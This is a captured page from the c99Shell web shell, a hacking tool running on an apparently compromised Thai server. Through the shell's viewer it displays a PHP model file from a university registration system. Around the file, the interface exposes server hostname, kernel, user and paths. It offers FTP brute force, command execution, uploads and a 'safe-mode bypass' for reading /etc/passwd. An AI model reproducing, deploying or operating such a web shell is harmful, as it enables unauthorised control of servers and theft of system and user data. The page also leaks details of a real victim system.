!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/models/eregis-13022565/   drwxrwxrwx
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mo_rg_termconfig.php (11.96 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("da_rg_TermConfig.php");

class 
Mo_rg_TermConfig extends Da_rg_TermConfig {

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาปี/ภาคการศึกษาตามเงื่อนไข
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows : rg_TermConfig.*
     */
    
public function qryTmc($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);

        
$c1 substr($where0, -3);
        
$c2 substr($order0, -1);
        
$c3 substr($group0, -1);

        
$sql "SELECT *
                    FROM $this->rg_dbname.rg_TermConfig
                    $c1
                    $c3
                    $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    public function 
qryTmcJnTm($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);

        
$c1 substr($where0, -3);
        
$c2 substr($order0, -1);
        
$c3 substr($group0, -1);

        
$sql "SELECT *
                    FROM $this->rg_dbname.rg_TermConfig
                    LEFT JOIN $this->rg_dbname.rg_Term ON tmcTmId=tmId
                    $c1
                    $c3
                    $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

     
/**
     * หน้าที่ของฟังก์ชั่น คือ หาปีการศึกษาเพื่อแสดงเป็น dropdown
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @order    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ  GROUP BY
     * @group    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม ORDER BY
     * @param    char optional ไว้สำหรับสร้าง string ของ dropdown
     * @return    array $opt อยู่ในรูป array opt('tmId' => tmName)
     * @todo    use
     */
    
public function get_options($condition="",$order="",$group=""$optional='') {
        
$query $this->qryTmc($condition,$order,$group);

        if(
$optional$opt[''] = $optional;
        
$i 1;
        foreach(
$query->result() as $row) {
            
$opt[$row->tmcAcY] = $row->tmcAcY;
        }
        return 
$opt;
    }

    public function 
get_optionsForDm($condition="",$order="",$group=""$optional='') {
        
$query $this->qryTmcJnTm($condition,$order,$group);
        if(
$optional$opt[''] = $optional;
        
$i 1;
        foreach(
$query->result() as $row) {
            
$opt[$i++] = "ปีการศึกษา ".$row->tmcAcY." ".$row->tmName." ตั้งแต่วันที่ ".abbreDate2($row->tmcFrDate)." ถึงวันที่ ".abbreDate2($row->tmcToDate);
        }
        return 
$opt;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาวันที่ปัจจุบันว่าอยู่ในช่วงปี/เทอมการศึกษาใด
     *
     * @access    public
     * @param    $dmy คือ วันที่ปัจจุบัน อยู่ในรูปแบบ 0000-00-00
     * @return    query = 1 row : rg_TermConfig
     * @todo    use
     */
    
public function getBetweenDateByNowDate($dmy) {
        
$sql "SELECT *
                    FROM $this->rg_dbname.rg_TermConfig
                    WHERE ?
                    BETWEEN tmcFrDate
                    AND tmcToDate"
;
        
$query $this->db->query($sql,array($dmy));
        return 
$query;
    }

    function 
qryTmcBetweenDate($dmy) {
        
$sql "SELECT * 
                    FROM $this->rg_dbname.rg_TermConfig 
                    WHERE ? BETWEEN tmcFrDate AND tmcToDate"
;
        
$query $this->db->query($sql, array($dmy));
        return 
$query;
    }

     
/**
     * หน้าที่ของฟังก์ชั่น คือ หาช่วงวันที่ที่ถูกกำหนดเป็นวัน เปิด-ปิดภาคการศึกษา
     *
     * @access    public
     * @param    $tmcFrDate คือ วันที่เริ่มต้น อยู่ในรูปแบบ ปีค.ศ.-เดือน-วันที่
     * @param    $tmcToDate คือ วันที่สิ้นสุด อยู่ในรูปแบบ ปีค.ศ.-เดือน-วันที่
     * @return    query >= 1 rows : rg_TermConfig.*
     */
    
public function qryBetweenDate($tmcFrDate,$tmcToDate) {
        
$sql "SELECT *
                FROM $this->rg_dbname.rg_TermConfig
                WHERE tmcToDate>=?
                AND tmcFrDate<=?"
;
        
$query $this->db->query($sql,array($tmcFrDate,$tmcToDate));
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาช่วงวันที่ที่ถูกกำหนดเป็นวัน เปิด-ปิดภาคการศึกษา
     *
     * @access    public
     * @param    $tmcFrDate คือ วันที่เริ่มต้น อยู่ในรูปแบบ ปีค.ศ.-เดือน-วันที่
     * @param    $tmcToDate คือ วันที่สิ้นสุด อยู่ในรูปแบบ ปีค.ศ.-เดือน-วันที่
     * @return    query >= 1 rows : rg_TermConfig.*
     */
    
public function qryBetWeenDateNotAcYTmId($tmcAcY$tmcTmId$tmcFrDate,$tmcToDate) {
        
$sql "SELECT *
                FROM $this->rg_dbname.rg_TermConfig
                WHERE tmcToDate>=?
                AND tmcFrDate<=?
                AND (tmcAcY!=?
                OR tmcTmId!=?)"
;
        
$query $this->db->query($sql,array($tmcFrDate,$tmcToDate,$tmcAcY,$tmcTmId));
        return 
$query;
    }
    
    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาปี/ภาคการศึกษาตามเงื่อนไข พร้อม JOIN rg_Term
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @return    query >= 1 rows : rg_TermConfig.*, rg_Term.*
     */
    
public function qryTmcJoinTm($condition="") {
        
$qry $this->checkCondition($condition);

        
$consubstr($qry0, -3);

        
$sql "SELECT *
                    FROM $this->rg_dbname.rg_TermConfig
                    INNER JOIN $this->rg_dbname.rg_Term ON tmcTmId=tmId
                    $con
                    ORDER BY tmcAcY DESC, tmCode DESC"
;
        
$query $this->db->query($sql);
        return 
$query;
    }


//************************************************************************
    // function หลังจากนี้ สร้างหลังจาก 6 ตุลา

    /**
        * ดึงระยะเวลาของปี/เทอมการศึกษา ทั้งหมดในตาราง
        @access public
        @return $query
    */
    
public function getAllData(){
        
$sql "SELECT * 
                    FROM $this->rg_dbname.rg_TermConfig"
;
        
$query $this->db->query($sql);
        return 
$query;
    }
    
    
/**
        * ดึงระยะเวลาของปี/เทอมการศึกษา 
          และข้อมูลเทอมการศึกษาของตาราง rg_TermConfig ที่ตรงกับ rg_Term
        @access public
        @return $query
    */
    
public function getAllDataJoinTm(){
        
$sql "SELECT * 
                    FROM $this->rg_dbname.rg_TermConfig tmc, rg_Term tm 
                    WHERE tmc.tmcTmId=tm.tmId"
;
        
$query $this->db->query($sql);
        return 
$query;
    }
    
    
/**
        * ดึงปีการศึกษาที่มากที่สุด
        @access public
        @return $row->num
    */
    
public function getMaxAcY() {
        
$sql "SELECT MAX(tmcAcY) AS num
                    FROM $this->rg_dbname.rg_TermConfig"
;
        
$query $this->db->query($sql);
        if (
$row=$query->row())
            return 
$row->num;
    }
    
    
/**
        * ดึงวันที่ เดือน ของปีการศึกษาที่ต้องการ
          ใช้สำหรับคาดการณ์วันที่นักศึกษาจะจบ
         @access public
         @param $acY
         @return $row->tmcToDate
    */
    
public function getMaxToDateByAcY($acY) {
        
$sql "SELECT MAX(tmcToDate) AS tmcToDate
                    FROM $this->rg_dbname.rg_TermConfig
                    WHERE tmcAcY=?"
;
        
$query $this->db->query($sql,array($acY));
        if (
$row=$query->row()) {
            return 
$row->tmcToDate;
        } else {
            return 
'';
        }
    }

    
// use
    
public function getMinToDateByAcY($acY) {
        
$sql "SELECT MIN(tmcFrDate) AS tmcFrDate
                    FROM $this->rg_dbname.rg_TermConfig
                    WHERE tmcAcY=?"
;
        
$query $this->db->query($sql,array($acY));
        if (
$query->num_rows()) {
            return 
$query->row()->tmcFrDate;
        } else {
            return 
'';
        }
    }
    
    
/*public function getMaxToDateByAcY($acY, $tmId=FALSE) {
        $sql = "SELECT MAX(tmcToDate) AS tmcToDate
                    FROM rg_TermConfig
                    WHERE tmcAcY=?
                    AND tmcTmId=?";
        $query = $this->db->query($sql,array($acY, $tmId));
        return $query;
    }*/
    /**
        * ดึงปีการศึกษา
        @access public
        @return $query
    */
    
public function qryTmcGroupAcY($order="") {
        
$order $this->checkOrderBy($order);

        
//$c2 = substr($order, 0, -1);
        //echo $c2;
        //exit;
        
$sql "SELECT tmcAcY 
                    FROM $this->rg_dbname.rg_TermConfig 
                    GROUP BY tmcAcY
                    ORDER BY tmcAcY DESC"
;
        
$query $this->db->query($sql);
        echo 
$this->db->last_query();
        return 
$query;
    }

    public function 
qryTmcGroupTmId($order=""$tmcAcY) {
        
$order $this->checkOrderBy($order);

        
$c2 substr($order0, -1);

        
$sql "SELECT tmcTmId, tmName
                    FROM $this->rg_dbname.rg_TermConfig
                    LEFT $this->rg_dbname.JOIN rg_Term ON tmcTmId=tmId
                    WHERE tmcAcY=?
                    GROUP BY tmcTmId
                    $c2"
;
        
$query $this->db->query($sql,array($tmcAcY));
        return 
$query;
    }

    public function 
get_optionsGroupAcY($optional='y'$order="") {
        
$query $this->qryTmcGroupAcY($order);
        if (
$optional == 'y'$opt[''] = '';
        foreach(
$query->result() as $row) {
            
$opt[$row->tmcAcY] = $row->tmcAcY;
        }
        return 
$opt;
    }

    public function 
get_optionsGroupTmId($tmcAcY$optional='y'$order="") {
        
$query $this->qryTmcGroupTmId($order$tmcAcY);
        if (
$optional == 'y'$opt[''] = '';
        foreach(
$query->result() as $row) {
            
$opt[$row->tmcTmId] = $row->tmName;
        }
        return 
$opt;
    }

    
/**
        * นำวันที่ปัจจุบัน มาหาว่าอยู่ในช่วง ปี/(ชื่อ)เทอมการศึกษาใด
        @access public
        @param $nowDate
        @return $query
    */
    
public function getBetweenDateByNowDateJoinTm($dmy){
        
$sql "SELECT * 
                    FROM $this->rg_dbname.rg_TermConfig
                    JOIN $this->rg_dbname.rg_Term ON tmcTmId = TmId
                    WHERE ?
                    BETWEEN tmcFrDate
                    AND tmcToDate"
;
        
$query $this->db->query($sql, array($dmy));
        return 
$query;
    }
    
    
/**
        เอาวันที่ปัจจุบันหาปีกาศึกษาปัจจุบัน
    */
    
public function get_tmcAcY(){
        
$sql "SELECT tmcAcY 
                    FROM `rg_TermConfig`
                    WHERE curdate( ) BETWEEN tmcFrDate AND tmcToDate"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0141 ]--